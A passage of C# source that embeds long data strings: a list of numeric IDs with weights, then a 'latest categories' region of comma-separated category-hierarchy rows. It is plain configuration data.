+10388 10 +10389 10 +10390 10 +10391 10 +10392 10 +10393 10 +10394 10 +10395 10 +10396 10 +10398 10 +10399 10 +10400 10 +10401 10 +10402 10 +10404 10 +10405 10 +10408 10 +10410 10 +10412 10 +10435 10 +10441 10 +10442 10 +10443 10 +10444 10 +10445 10 +10446 10 +10449 10 +10450 10 +10451 10 +10453 10 +10455 10 +10456 10 +10457 10 +10460 10 +10462 10 +10463 10 +10464 10 +10465 10 +10466 10 +10467 10 +10468 10 +10469 10 +10470 10 +10471 10 +10472 10 +10474 10 +10475 10 +10476 10 +10477 10 +10479 10 +10486 10 +10488 10 +10489 10 +10490 10 +10491 10 +10492 10 +10493 10 +10495 10 +10496 10 +10497 10 +10498 10 +10499 10 +10500 10 +10501 10 +10502 10 +10504 10 +10506 10 +10507 10 +10508 10 +10509 10 +10510 10 +10512 10 +10515 10 +10516 10 +10517 10 +10519 10 +10520 10 +10521 10 +10522 10 +10524 10 +10525 10 +10527 10 +10530 10 +10533 10 +10537 10 +10539 10 +10540 10 +10548 10 +10551 10 +10553 10 +10555 10 +10556 10 +10561 10 +10562 10 +10565 10 +10567 10 +10572 10 +10574 10 +10579 10 +10581 10 +10582 10 +10583 10 +10587 10 +10589 10 +10591 10 +10592 10 +10597 10 +10603 10 +10607 10 +10608 10 +10616 10 +10617 10 +10623 10 +10624 10 +10625 10 +10627 10 +10628 10 +10630 10 +10632 10 +10636 10 +10639 10 +10641 10 +10647 10 +10654 10 +10656 10 +10658 10 +10660 10 +10663 10 +10665 10 +10666 10 +14860 10 +14879 10 +14880 5 +14883 5 +14885 5 +14887 5 +14888 5 +14889 5 +14893 10 +15003 2 +14921 5 +14923 5 +14926 5 +14914 5 +14916 5 +14927 5 +5961 2 +14913 5 +3030 5 +5670 5 +5671 5 +5672 5 +5757 2 +5952 10 +5959 2 +5961 2 +5963 3 +5965 3 +5982 2 +5989 2 +6006 2 +6024 2 +6028 3 +6167 3 +9551 10 +9610 10 +9611 10 +9647 10 +6034 3 +9558 10 +9559 10 +14884 5 +14912 5 +14918 5 +14915 5 +14917 5 +14928 5 +14929 5 +14931 5 +6247 2 +9527 5 +6169 5 +14932 3 +15255 10 +6248 2 +3046 2 +3109 1.3 +14707 2 +14708 2 +14711 2 +14712 2 +14713 2 +14714 2 +14715 2 +14716 2 +14718 2 +14719 2 +14720 2 +14721 2 +14722 2 +14723 1.3 +14724 1.3 +14725 1.3 +14726 1.3 +14727 2 +14728 2 +14730 1.3 +14731 2 +14733 2 +14734 2 +14735 2 +14737 2 +14738 2 +14739 2 +15434 2 +15435 2 +15436 2 +15437 2 +15438 2 +15439 2 +15506 1.3 +15507 2 +15508 2 +15509 2 +15510 2 +15511 2 +15512 2 +15513 2 +15514 2 +15515 2 +15516 2 +15517 2 +14708 2 +14709 2 +14710 2 +14717 2 +14732 2 +14729 1.3 +14736 1.3 +5855 2 +6134 2 +5836 2"; + #endregion + + #region 最新类目 + public string CatStr = @"239,239,0,0,0 +2603,2603,0,0,0 +2629,2629,0,0,0 +2933,2933,0,0,0 +5217,5217,0,0,0 +5752,5752,0,0,0 +5834,5834,0,0,0 +5839,5839,0,0,0 +5851,5851,0,0,0 +5906,5906,0,0,0 +5921,5921,0,0,0 +5955,5955,0,0,0 +6076,6076,0,0,0 +6128,6128,0,0,0 +6209,6209,0,0,0 +6290,6290,0,0,0 +6398,6398,0,0,0 +6536,6536,0,0,0 +6586,6586,0,0,0 +6630,6630,0,0,0 +6758,6758,0,0,0 +6785,6785,0,0,0 +6883,6883,0,0,0 +7323,7323,0,0,0 +7629,7629,0,0,0 +7639,7639,0,0,0 +8172,8172,0,0,0 +8439,8439,0,0,0 +8502,8502,0,0,0 +8508,8508,0,0,0 +8509,8509,0,0,0 +8538,8538,0,0,0 +8583,8583,0,0,0 +8634,8634,0,0,0 +8669,8669,0,0,0 +8721,8721,0,0,0 +8722,8722,0,0,0 +8723,8723,0,0,0 +8724,8724,0,0,0 +8725,8725,0,0,0 +8726,8726,0,0,0 +8727,8727,0,0,0 +8728,8728,0,0,0 +8729,8729,0,0,0 +8730,8730,0,0,0 +8731,8731,0,0,0 +8732,8732,0,0,0 +8733,8733,0,0,0 +8734,8734,0,0,0 +8736,8736,0,0,0 +9313,9313,0,0,0 +9314,9314,0,0,0 +9315,9315,0,0,0 +9316,9316,0,0,0 +9317,9317,0,0,0 +9318,9318,0,0,0 +9319,9319,0,0,0 +9320,9320,0,0,0 +9321,9321,0,0,0 +9322,9322,0,0,0 +9323,9323,0,0,0 +9324,9324,0,0,0 +11683,11683,0,0,0 +11684,11684,0,0,0 +11685,11685,0,0,0 +11686,11686,0,0,0 +11687,11687,0,0,0 +11688,11688,0,0,0 +11689,11689,0,0,0 +13176,13176,0,0,0 +13177,13177,0,0,0 +13178,13178,0,0,0 +14697,14697,0,0,0 +14740,14740,0,0,0 +14933,14933,0,0,0 +14966,14966,0,0,0 +15083,15083,0,0,0 +15356,15356,0,0,0 +15543,15543,0,0,0 +16155,16155,0,0,0 +16192,16192,0,0,0 +16209,16209,0,0,0 +16237,16237,0,0,0 +16288,16288,0,0,0 +16548,16548,0,0,0 +16676,16676,0,0,0 +16794,16794,0,0,0 +16901,16901,0,0,0 +16989,16989,0,0,0 +17134,17134,0,0,0 +17249,17249,0,0,0 +17285,17285,0,0,0 +17412,17412,0,0,0 +17455,17455,0,0,0 +17671,17671,0,0,0 +17803,17803,0,0,0 +18088,18088,0,0,0 +18270,18270,0,0,0 +18349,18349,0,0,0 +18482,18482,0,0,0 +18574,18574,0,0,0 +18601,18601,0,0,0 +18637,18637,0,0,0 +18814,18814,0,0,0 +19298,19298,0,0,0 +20078,20078,0,0,0 +20340,20340,0,0,0 +245,239,245,0,0 +246,239,246,0,0 +248,239,248,0,0 +3848,239,3848,0,0 +5208,239,5208,0,0 +7281,239,7281,0,0 +7282,239,7282,0,0 +7283,239,7283,0,0 +7284,239,7284,0,0 +7285,239,7285,0,0 +7286,239,7286,0,0 +7287,239,7287,0,0 +7289,239,7289,0,0 +7290,239,7290,0,0 +7291,239,7291,0,0 +7292,239,7292,0,0 +7294,239,7294,0,0 +7295,239,7295,0,0 +7296,239,7296,0,0 +7297,239,7297,0,0 +2604,2603,2604,0,0 +2605,2603,2605,0,0 +2606,2603,2606,0,0 +2607,2603,2607,0,0 +2608,2603,2608,0,0 +2609,2603,2609,0,0 +2610,2603,2610,0,0 +2611,2603,2611,0,0 +2612,2603,2612,0,0 +2613,2603,2613,0,0 +2614,2603,2614,0,0 +2616,2603,2616,0,0 +2619,2603,2619,0,0 +2620,2603,2620,0,0 +2621,2603,2621,0,0 +2622,2603,2622,0,0 +2623,2603,2623,0,0 +2624,2603,2624,0,0 +2626,2603,2626,0,0 +4835,2603,4835,0,0 +4837,2603,4837,0,0 +4847,2603,4847,0,0 +18995,2603,18995,0,0 +18999,2603,18999,0,0 +20494,2603,20494,0,0 +2630,2629,2630,0,0 +2631,2629,2631,0,0 +2632,2629,2632,0,0 +2634,2629,2634,0,0 +2635,2629,2635,0,0 +2636,2629,2636,0,0 +2663,2629,2663,0,0 +2664,2629,2664,0,0 +2665,2629,2665,0,0 +2667,2629,2667,0,0 +2668,2629,2668,0,0 +2669,2629,2669,0,0 +2670,2629,2670,0,0 +2671,2629,2671,0,0 +2672,2629,2672,0,0 +5673,2629,5673,0,0 +18987,2629,18987,0,0 +18991,2629,18991,0,0 +2934,2933,2934,0,0 +2935,2933,2935,0,0 +2936,2933,2936,0,0 +2937,2933,2937,0,0 +2938,2933,2938,0,0 +2939,2933,2939,0,0 +2940,2933,2940,0,0 +2941,2933,2941,0,0 +2942,2933,2942,0,0 +2943,2933,2943,0,0 +2945,2933,2945,0,0 +2946,2933,2946,0,0 +2947,2933,2947,0,0 +2948,2933,2948,0,0 +2949,2933,2949,0,0 +2950,2933,2950,0,0 +2951,2933,2951,0,0 +2952,2933,2952,0,0 +2953,2933,2953,0,0 +3898,2933,3898,0,0 +5226,5217,5226,0,0 +5228,5217,5228,0,0 +5234,5217,5234,0,0 +5272,5217,5272,0,0 +18134,5217,18134,0,0 +18135,5217,18135,0,0 +18136,5217,18136,0,0 +18137,5217,18137,0,0 +5753,5752,5753,0,0 +5755,5752,5755,0,0 +5771,5752,5771,0,0 +5773,5752,5773,0,0 +5795,5752,5795,0,0 +5806,5752,5806,0,0 +5824,5752,5824,0,0 +5826,5752,5826,0,0 +5835,5834,5835,0,0 +5837,5834,5837,0,0 +5840,5839,5840,0,0 +5842,5839,5842,0,0 +5844,5839,5844,0,0 +5846,5839,5846,0,0 +5849,5839,5849,0,0 +5852,5851,5852,0,0 +5854,5851,5854,0,0 +5856,5851,5856,0,0 +5861,5851,5861,0,0 +5864,5851,5864,0,0 +5868,5851,5868,0,0 +5883,5851,5883,0,0 +19125,5851,19125,0,0 +5907,5906,5907,0,0 +5910,5906,5910,0,0 +5912,5906,5912,0,0 +5914,5906,5914,0,0 +5917,5906,5917,0,0 +5919,5906,5919,0,0 +19108,5906,19108,0,0 +5922,5921,5922,0,0 +5924,5921,5924,0,0 +5927,5921,5927,0,0 +5929,5921,5929,0,0 +5931,5921,5931,0,0 +5933,5921,5933,0,0 +5935,5921,5935,0,0 +5937,5921,5937,0,0 +5939,5921,5939,0,0 +5941,5921,5941,0,0 +5943,5921,5943,0,0 +5947,5921,5947,0,0 +5953,5921,5953,0,0 +5956,5955,5956,0,0 +5958,5955,5958,0,0 +5960,5955,5960,0,0 +5962,5955,5962,0,0 +5964,5955,5964,0,0 +5966,5955,5966,0,0 +5968,5955,5968,0,0 +5984,5955,5984,0,0 +5986,5955,5986,0,0 +5988,5955,5988,0,0 +5990,5955,5990,0,0 +5997,5955,5997,0,0 +5999,5955,5999,0,0 +6001,5955,6001,0,0 +6003,5955,6003,0,0 +6005,5955,6005,0,0 +6007,5955,6007,0,0 +6009,5955,6009,0,0 +6011,5955,6011,0,0 +6013,5955,6013,0,0 +6015,5955,6015,0,0 +6017,5955,6017,0,0 +6019,5955,6019,0,0 +6021,5955,6021,0,0 +6023,5955,6023,0,0 +6025,5955,6025,0,0 +6027,5955,6027,0,0 +6029,5955,6029,0,0 +6031,5955,6031,0,0 +6033,5955,6033,0,0 +6035,5955,6035,0,0 +6037,5955,6037,0,0 +6039,5955,6039,0,0 +6041,5955,6041,0,0 +6043,5955,6043,0,0 +6045,5955,6045,0,0 +19110,5955,19110,0,0 +19112,5955,19112,0,0 +19114,5955,19114,0,0 +20107,5955,20107,0,0 +20448,5955,20448,0,0 +20452,5955,20452,0,0 +20456,5955,20456,0,0 +20458,5955,20458,0,0 +20460,5955,20460,0,0 +20462,5955,20462,0,0 +6077,6076,6077,0,0 +6079,6076,6079,0,0 +6081,6076,6081,0,0 +6083,6076,6083,0,0 +6093,6076,6093,0,0 +6097,6076,6097,0,0 +6099,6076,6099,0,0 +6101,6076,6101,0,0 +6103,6076,6103,0,0 +6113,6076,6113,0,0 +6115,6076,6115,0,0 +6118,6076,6118,0,0 +20095,6076,20095,0,0 +6129,6128,6129,0,0 +6131,6128,6131,0,0 +6133,6128,6133,0,0 +6135,6128,6135,0,0 +6137,6128,6137,0,0 +6139,6128,6139,0,0 +6141,6128,6141,0,0 +6143,6128,6143,0,0 +6145,6128,6145,0,0 +6147,6128,6147,0,0 +6150,6128,6150,0,0 +6152,6128,6152,0,0 +6154,6128,6154,0,0 +6156,6128,6156,0,0 +6158,6128,6158,0,0 +6160,6128,6160,0,0 +6162,6128,6162,0,0 +6164,6128,6164,0,0 +6166,6128,6166,0,0 +6168,6128,6168,0,0 +6170,6128,6170,0,0 +6172,6128,6172,0,0 +6174,6128,6174,0,0 +6177,6128,6177,0,0 +6179,6128,6179,0,0 +6181,6128,6181,0,0 +6183,6128,6183,0,0 +6196,6128,6196,0,0 +6205,6128,6205,0,0 +6207,6128,6207,0,0 +20288,6128,20288,0,0 +20309,6128,20309,0,0 +20311,6128,20311,0,0 +20313,6128,20313,0,0 +20328,6128,20328,0,0 +20331,6128,20331,0,0 +20334,6128,20334,0,0 +20336,6128,20336,0,0 +20450,6128,20450,0,0 +20464,6128,20464,0,0 +20466,6128,20466,0,0 +6210,6209,6210,0,0 +6218,6209,6218,0,0 +6221,6209,6221,0,0 +6227,6209,6227,0,0 +6241,6209,6241,0,0 +6246,6209,6246,0,0 +6257,6209,6257,0,0 +6263,6209,6263,0,0 +6270,6209,6270,0,0 +6275,6209,6275,0,0 +6277,6209,6277,0,0 +6279,6209,6279,0,0 +20454,6209,20454,0,0 +6291,6290,6291,0,0 +6298,6290,6298,0,0 +6300,6290,6300,0,0 +6311,6290,6311,0,0 +6313,6290,6313,0,0 +6315,6290,6315,0,0 +6338,6290,6338,0,0 +6342,6290,6342,0,0 +6352,6290,6352,0,0 +6356,6290,6356,0,0 +6362,6290,6362,0,0 +6367,6290,6367,0,0 +6369,6290,6369,0,0 +6372,6290,6372,0,0 +6374,6290,6374,0,0 +6376,6290,6376,0,0 +6378,6290,6378,0,0 +6380,6290,6380,0,0 +6382,6290,6382,0,0 +6399,6398,6399,0,0 +6420,6398,6420,0,0 +6465,6398,6465,0,0 +6469,6398,6469,0,0 +6484,6398,6484,0,0 +6490,6398,6490,0,0 +6501,6398,6501,0,0 +6510,6398,6510,0,0 +6514,6398,6514,0,0 +6522,6398,6522,0,0 +6537,6536,6537,0,0 +6548,6536,6548,0,0 +6550,6536,6550,0,0 +6552,6536,6552,0,0 +6567,6536,6567,0,0 +6569,6536,6569,0,0 +6580,6536,6580,0,0 +7515,6536,7515,0,0 +7520,6536,7520,0,0 +7521,6536,7521,0,0 +6587,6586,6587,0,0 +6589,6586,6589,0,0 +6591,6586,6591,0,0 +6597,6586,6597,0,0 +6602,6586,6602,0,0 +6609,6586,6609,0,0 +6613,6586,6613,0,0 +6619,6586,6619,0,0 +6631,6630,6631,0,0 +6654,6630,6654,0,0 +6671,6630,6671,0,0 +6689,6630,6689,0,0 +6709,6630,6709,0,0 +6729,6630,6729,0,0 +6756,6630,6756,0,0 +6759,6758,6759,0,0 +6761,6758,6761,0,0 +6763,6758,6763,0,0 +6765,6758,6765,0,0 +6767,6758,6767,0,0 +6769,6758,6769,0,0 +6771,6758,6771,0,0 +6773,6758,6773,0,0 +6786,6785,6786,0,0 +6799,6785,6799,0,0 +6805,6785,6805,0,0 +6817,6785,6817,0,0 +6823,6785,6823,0,0 +6827,6785,6827,0,0 +6845,6785,6845,0,0 +6848,6785,6848,0,0 +6880,6785,6880,0,0 +6884,6883,6884,0,0 +6890,6883,6890,0,0 +6895,6883,6895,0,0 +6900,6883,6900,0,0 +6905,6883,6905,0,0 +6907,6883,6907,0,0 +6913,6883,6913,0,0 +6918,6883,6918,0,0 +6949,6883,6949,0,0 +6951,6883,6951,0,0 +6953,6883,6953,0,0 +6955,6883,6955,0,0 +6958,6883,6958,0,0 +6962,6883,6962,0,0 +6966,6883,6966,0,0 +6968,6883,6968,0,0 +7010,6883,7010,0,0 +7012,6883,7012,0,0 +18791,6883,18791,0,0 +7324,7323,7324,0,0 +7332,7323,7332,0,0 +7334,7323,7334,0,0 +7346,7323,7346,0,0 +7348,7323,7348,0,0 +7355,7323,7355,0,0 +7361,7323,7361,0,0 +7369,7323,7369,0,0 +7372,7323,7372,0,0 +7382,7323,7382,0,0 +7391,7323,7391,0,0 +7396,7323,7396,0,0 +7411,7323,7411,0,0 +7417,7323,7417,0,0 +7426,7323,7426,0,0 +7428,7323,7428,0,0 +7432,7323,7432,0,0 +7443,7323,7443,0,0 +7448,7323,7448,0,0 +7450,7323,7450,0,0 +7455,7323,7455,0,0 +7458,7323,7458,0,0 +7461,7323,7461,0,0 +7466,7323,7466,0,0 +7480,7323,7480,0,0 +7501,7323,7501,0,0 +7630,7629,7630,0,0 +7631,7629,7631,0,0 +7632,7629,7632,0,0 +7633,7629,7633,0,0 +7635,7629,7635,0,0 +7638,7629,7638,0,0 +7717,7629,7717,0,0 +7718,7629,7718,0,0 +7640,7639,7640,0,0 +7641,7639,7641,0,0 +7645,7639,7645,0,0 +7646,7639,7646,0,0 +7664,7639,7664,0,0 +7677,7639,7677,0,0 +7719,7639,7719,0,0 +7720,7639,7720,0,0 +8173,8172,8173,0,0 +8174,8172,8174,0,0 +8175,8172,8175,0,0 +8176,8172,8176,0,0 +8177,8172,8177,0,0 +8178,8172,8178,0,0 +8179,8172,8179,0,0 +8180,8172,8180,0,0 +8181,8172,8181,0,0 +8182,8172,8182,0,0 +8183,8172,8183,0,0 +8440,8439,8440,0,0 +8441,8439,8441,0,0 +8442,8439,8442,0,0 +8443,8439,8443,0,0 +8444,8439,8444,0,0 +8445,8439,8445,0,0 +8446,8439,8446,0,0 +8447,8439,8447,0,0 +8448,8439,8448,0,0 +8449,8439,8449,0,0 +8450,8439,8450,0,0 +8451,8439,8451,0,0 +8452,8439,8452,0,0 +8453,8439,8453,0,0 +8454,8439,8454,0,0 +8455,8439,8455,0,0 +8456,8439,8456,0,0 +8457,8439,8457,0,0 +8458,8439,8458,0,0 +8459,8439,8459,0,0 +8460,8439,8460,0,0 +8461,8439,8461,0,0 +8462,8439,8462,0,0 +8503,8502,8503,0,0 +8504,8502,8504,0,0 +16538,8502,16538,0,0 +16539,8502,16539,0,0 +16540,8502,16540,0,0 +16541,8502,16541,0,0 +8510,8508,8510,0,0 +8511,8508,8511,0,0 +8512,8508,8512,0,0 +8513,8508,8513,0,0 +8514,8508,8514,0,0 +8515,8508,8515,0,0 +8516,8508,8516,0,0 +8517,8509,8517,0,0 +8518,8509,8518,0,0 +8519,8509,8519,0,0 +8520,8509,8520,0,0 +8521,8509,8521,0,0 +8522,8509,8522,0,0 +8523,8509,8523,0,0 +8539,8538,8539,0,0 +8540,8538,8540,0,0 +8541,8538,8541,0,0 +8542,8538,8542,0,0 +8543,8538,8543,0,0 +8544,8538,8544,0,0 +8545,8538,8545,0,0 +8546,8538,8546,0,0 +8547,8538,8547,0,0 +8548,8538,8548,0,0 +8549,8538,8549,0,0 +8550,8538,8550,0,0 +20492,8538,20492,0,0 +8584,8583,8584,0,0 +8585,8583,8585,0,0 +8586,8583,8586,0,0 +8587,8583,8587,0,0 +8588,8583,8588,0,0 +8589,8583,8589,0,0 +8590,8583,8590,0,0 +8591,8583,8591,0,0 +8592,8583,8592,0,0 +8593,8583,8593,0,0 +8594,8583,8594,0,0 +8595,8583,8595,0,0 +8596,8583,8596,0,0 +8597,8583,8597,0,0 +8598,8583,8598,0,0 +8599,8583,8599,0,0 +8600,8583,8600,0,0 +8601,8583,8601,0,0 +8602,8583,8602,0,0 +8603,8583,8603,0,0 +8604,8583,8604,0,0 +8605,8583,8605,0,0 +8606,8583,8606,0,0 +8607,8583,8607,0,0 +8608,8583,8608,0,0 +8635,8634,8635,0,0 +8636,8634,8636,0,0 +8637,8634,8637,0,0 +8638,8634,8638,0,0 +8639,8634,8639,0,0 +8670,8669,8670,0,0 +8671,8669,8671,0,0 +8672,8669,8672,0,0 +8673,8669,8673,0,0 +8674,8669,8674,0,0 +8675,8669,8675,0,0 +8676,8669,8676,0,0 +8677,8669,8677,0,0 +8678,8669,8678,0,0 +8679,8669,8679,0,0 +8680,8669,8680,0,0 +8681,8669,8681,0,0 +8682,8669,8682,0,0 +8683,8669,8683,0,0 +8738,8721,8738,0,0 +8739,8721,8739,0,0 +8740,8721,8740,0,0 +8741,8721,8741,0,0 +8742,8721,8742,0,0 +8743,8721,8743,0,0 +8744,8721,8744,0,0 +8745,8721,8745,0,0 +8746,8721,8746,0,0 +8747,8721,8747,0,0 +8748,8721,8748,0,0 +8749,8721,8749,0,0 +8750,8721,8750,0,0 +8751,8721,8751,0,0 +8752,8721,8752,0,0 +8753,8721,8753,0,0 +8754,8721,8754,0,0 +8755,8722,8755,0,0 +8756,8722,8756,0,0 +8757,8722,8757,0,0 +8758,8722,8758,0,0 +8759,8723,8759,0,0 +8760,8723,8760,0,0 +8761,8723,8761,0,0 +8762,8723,8762,0,0 +8763,8723,8763,0,0 +8764,8723,8764,0,0 +8765,8723,8765,0,0 +8766,8723,8766,0,0 +8767,8723,8767,0,0 +8768,8723,8768,0,0 +8769,8724,8769,0,0 +8770,8724,8770,0,0 +8771,8724,8771,0,0 +8772,8725,8772,0,0 +8773,8725,8773,0,0 +8774,8725,8774,0,0 +8775,8725,8775,0,0 +8776,8725,8776,0,0 +8777,8725,8777,0,0 +8779,8725,8779,0,0 +8780,8725,8780,0,0 +8781,8725,8781,0,0 +8782,8725,8782,0,0 +8783,8725,8783,0,0 +8784,8725,8784,0,0 +15541,8725,15541,0,0 +8785,8726,8785,0,0 +8786,8726,8786,0,0 +8787,8726,8787,0,0 +8788,8726,8788,0,0 +8789,8726,8789,0,0 +8790,8726,8790,0,0 +8791,8727,8791,0,0 +8793,8727,8793,0,0 +20041,8727,20041,0,0 +8794,8728,8794,0,0 +8795,8728,8795,0,0 +8798,8728,8798,0,0 +8800,8728,8800,0,0 +8801,8728,8801,0,0 +8804,8728,8804,0,0 +8806,8728,8806,0,0 +8807,8728,8807,0,0 +8808,8728,8808,0,0 +19295,8728,19295,0,0 +20050,8728,20050,0,0 +20055,8728,20055,0,0 +20057,8728,20057,0,0 +20059,8728,20059,0,0 +8809,8729,8809,0,0 +8810,8729,8810,0,0 +8811,8729,8811,0,0 +8812,8729,8812,0,0 +8813,8729,8813,0,0 +8814,8729,8814,0,0 +8815,8729,8815,0,0 +8816,8730,8816,0,0 +8817,8730,8817,0,0 +8818,8730,8818,0,0 +8819,8731,8819,0,0 +8820,8731,8820,0,0 +8821,8731,8821,0,0 +8824,8732,8824,0,0 +8825,8733,8825,0,0 +8826,8733,8826,0,0 +8827,8733,8827,0,0 +8829,8734,8829,0,0 +8830,8734,8830,0,0 +8831,8734,8831,0,0 +8832,8734,8832,0,0 +8833,8734,8833,0,0 +8834,8734,8834,0,0 +8835,8734,8835,0,0 +8836,8734,8836,0,0 +8837,8734,8837,0,0 +8851,8736,8851,0,0 +8852,8736,8852,0,0 +8853,8736,8853,0,0 +8854,8736,8854,0,0 +8855,8736,8855,0,0 +8856,8736,8856,0,0 +8857,8736,8857,0,0 +8858,8736,8858,0,0 +8859,8736,8859,0,0 +8860,8736,8860,0,0 +18240,8736,18240,0,0 +9325,9313,9325,0,0 +9326,9313,9326,0,0 +9327,9313,9327,0,0 +9328,9313,9328,0,0 +9329,9313,9329,0,0 +9330,9313,9330,0,0 +9331,9313,9331,0,0 +9332,9313,9332,0,0 +9333,9313,9333,0,0 +9334,9313,9334,0,0 +9335,9313,9335,0,0 +9336,9313,9336,0,0 +9337,9313,9337,0,0 +9338,9313,9338,0,0 +9339,9313,9339,0,0 +9340,9313,9340,0,0 +9341,9313,9341,0,0 +9342,9313,9342,0,0 +9343,9313,9343,0,0 +9344,9313,9344,0,0 +9345,9313,9345,0,0 +9346,9313,9346,0,0 +9347,9314,9347,0,0 +9348,9314,9348,0,0 +9349,9314,9349,0,0 +9350,9314,9350,0,0 +9351,9314,9351,0,0 +9352,9314,9352,0,0 +9353,9314,9353,0,0 +9354,9314,9354,0,0 +9355,9314,9355,0,0 +9356,9314,9356,0,0 +9357,9314,9357,0,0 +9358,9314,9358,0,0 +9359,9314,9359,0,0 +9360,9314,9360,0,0 +9361,9314,9361,0,0 +9362,9315,9362,0,0 +9363,9315,9363,0,0 +9364,9315,9364,0,0 +9365,9315,9365,0,0 +9366,9315,9366,0,0 +9367,9315,9367,0,0 +9368,9315,9368,0,0 +9369,9315,9369,0,0 +9370,9315,9370,0,0 +9371,9315,9371,0,0 +9372,9315,9372,0,0 +9373,9315,9373,0,0 +9374,9315,9374,0,0 +9375,9315,9375,0,0 +9376,9315,9376,0,0 +9377,9315,9377,0,0 +9378,9315,9378,0,0 +9379,9315,9379,0,0 +9380,9315,9380,0,0 +9381,9315,9381,0,0 +9382,9315,9382,0,0 +9383,9315,9383,0,0 +9384,9315,9384,0,0 +9385,9315,9385,0,0 +9386,9315,9386,0,0 +9387,9315,9387,0,0 +9388,9315,9388,0,0 +19553,9315,19553,0,0 +20354,9315,20354,0,0 +9389,9316,9389,0,0 +9390,9316,9390,0,0 +9391,9316,9391,0,0 +9392,9316,9392,0,0 +9393,9316,9393,0,0 +9394,9316,9394,0,0 +9395,9316,9395,0,0 +9396,9316,9396,0,0 +9397,9316,9397,0,0 +9398,9316,9398,0,0 +9399,9316,9399,0,0 +9400,9316,9400,0,0 +9401,9316,9401,0,0 +9402,9316,9402,0,0 +9403,9316,9403,0,0 +9404,9316,9404,0,0 +9405,9316,9405,0,0 +9406,9316,9406,0,0 +9407,9316,9407,0,0 +9408,9316,9408,0,0 +9409,9316,9409,0,0 +9410,9316,9410,0,0 +9411,9317,9411,0,0 +9412,9317,9412,0,0 +9413,9318,9413,0,0 +9414,9318,9414,0,0 +9415,9318,9415,0,0 +9416,9318,9416,0,0 +9417,9318,9417,0,0 +9418,9318,9418,0,0 +9419,9318,9419,0,0 +9420,9318,9420,0,0 +9421,9318,9421,0,0 +14650,9318,14650,0,0 +14651,9318,14651,0,0 +20352,9318,20352,0,0 +9422,9319,9422,0,0 +9423,9319,9423,0,0 +9424,9319,9424,0,0 +9425,9319,9425,0,0 +9426,9319,9426,0,0 +9427,9319,9427,0,0 +9428,9319,9428,0,0 +9429,9319,9429,0,0 +9430,9319,9430,0,0 +9431,9319,9431,0,0 +9432,9319,9432,0,0 +9433,9319,9433,0,0 +9434,9319,9434,0,0 +13164,9319,13164,0,0 +9435,9320,9435,0,0 +9437,9320,9437,0,0 +9438,9320,9438,0,0 +9439,9320,9439,0,0 +9440,9320,9440,0,0 +9441,9320,9441,0,0 +9442,9320,9442,0,0 +9444,9320,9444,0,0 +9445,9320,9445,0,0 +9446,9320,9446,0,0 +9447,9320,9447,0,0 +9448,9320,9448,0,0 +9449,9320,9449,0,0 +20356,9320,20356,0,0 +9450,9321,9450,0,0 +9451,9321,9451,0,0 +9452,9321,9452,0,0 +9453,9321,9453,0,0 +9454,9321,9454,0,0 +9455,9321,9455,0,0 +9456,9321,9456,0,0 +9457,9321,9457,0,0 +9458,9321,9458,0,0 +9459,9321,9459,0,0 +9460,9321,9460,0,0 +9461,9321,9461,0,0 +9462,9321,9462,0,0 +9463,9321,9463,0,0 +9464,9321,9464,0,0 +20358,9321,20358,0,0 +9465,9322,9465,0,0 +9466,9322,9466,0,0 +9467,9322,9467,0,0 +9468,9322,9468,0,0 +9469,9322,9469,0,0 +9470,9323,9470,0,0 +9471,9323,9471,0,0 +9472,9323,9472,0,0 +9473,9323,9473,0,0 +9474,9323,9474,0,0 +9475,9323,9475,0,0 +9476,9323,9476,0,0 +9477,9323,9477,0,0 +9478,9323,9478,0,0 +9479,9323,9479,0,0 +9480,9323,9480,0,0 +9481,9323,9481,0,0 +9482,9323,9482,0,0 +9483,9323,9483,0,0 +9484,9324,9484,0,0 +9485,9324,9485,0,0 +9486,9324,9486,0,0 +9487,9324,9487,0,0 +9488,9324,9488,0,0 +9489,9324,9489,0,0 +9490,9324,9490,0,0 +9491,9324,9491,0,0 +9492,9324,9492,0,0 +9493,9324,9493,0,0 +9494,9324,9494,0,0 +9495,9324,9495,0,0 +9496,9324,9496,0,0 +9498,9324,9498,0,0 +9499,9324,9499,0,0 +9500,9324,9500,0,0 +20360,9324,20360,0,0 +11690,11683,11690,0,0 +11691,11683,11691,0,0 +11692,11683,11692,0,0 +11693,11683,11693,0,0 +11694,11684,11694,0,0 +11695,11684,11695,0,0 +11696,11684,11696,0,0 +11697,11684,11697,0,0 +11698,11684,11698,0,0 +11699,11684,11699,0,0 +11700,11684,11700,0,0 +11701,11684,11701,0,0 +11702,11684,11702,0,0 +11703,11684,11703,0,0 +11704,11684,11704,0,0 +11705,11684,11705,0,0 +11706,11684,11706,0,0 +11707,11684,11707,0,0 +11708,11684,11708,0,0 +11709,11684,11709,0,0 +11710,11684,11710,0,0 +11711,11684,11711,0,0 +11712,11684,11712,0,0 +19278,11684,19278,0,0 +19286,11684,19286,0,0 +11713,11685,11713,0,0 +11714,11685,11714,0,0 +11715,11685,11715,0,0 +11716,11685,11716,0,0 +11717,11685,11717,0,0 +11718,11685,11718,0,0 +11719,11685,11719,0,0 +11720,11685,11720,0,0 +11721,11685,11721,0,0 +11722,11685,11722,0,0 +11723,11685,11723,0,0 +11724,11685,11724,0,0 +11725,11685,11725,0,0 +11726,11685,11726,0,0 +11727,11685,11727,0,0 +11728,11685,11728,0,0 +11729,11685,11729,0,0 +11730,11685,11730,0,0 +11731,11685,11731,0,0 +11732,11685,11732,0,0 +11733,11685,11733,0,0 +11734,11685,11734,0,0 +11735,11685,11735,0,0 +11736,11685,11736,0,0 +11737,11685,11737,0,0 +11738,11685,11738,0,0 +11739,11685,11739,0,0 +11740,11685,11740,0,0 +11741,11685,11741,0,0 +11742,11685,11742,0,0 +11743,11685,11743,0,0 +11744,11686,11744,0,0 +11745,11686,11745,0,0 +11746,11686,11746,0,0 +11747,11686,11747,0,0 +11748,11686,11748,0,0 +11749,11686,11749,0,0 +11750,11686,11750,0,0 +11751,11686,11751,0,0 +11752,11686,11752,0,0 +11753,11686,11753,0,0 +11754,11686,11754,0,0 +11755,11686,11755,0,0 +11756,11686,11756,0,0 +11757,11686,11757,0,0 +11758,11686,11758,0,0 +11759,11686,11759,0,0 +11760,11686,11760,0,0 +11761,11686,11761,0,0 +11762,11686,11762,0,0 +11763,11686,11763,0,0 +11764,11686,11764,0,0 +11765,11686,11765,0,0 +11766,11686,11766,0,0 +11767,11686,11767,0,0 +11769,11686,11769,0,0 +11770,11686,11770,0,0 +11771,11686,11771,0,0 +11772,11686,11772,0,0 +11773,11687,11773,0,0 +11774,11687,11774,0,0 +11775,11687,11775,0,0 +11776,11687,11776,0,0 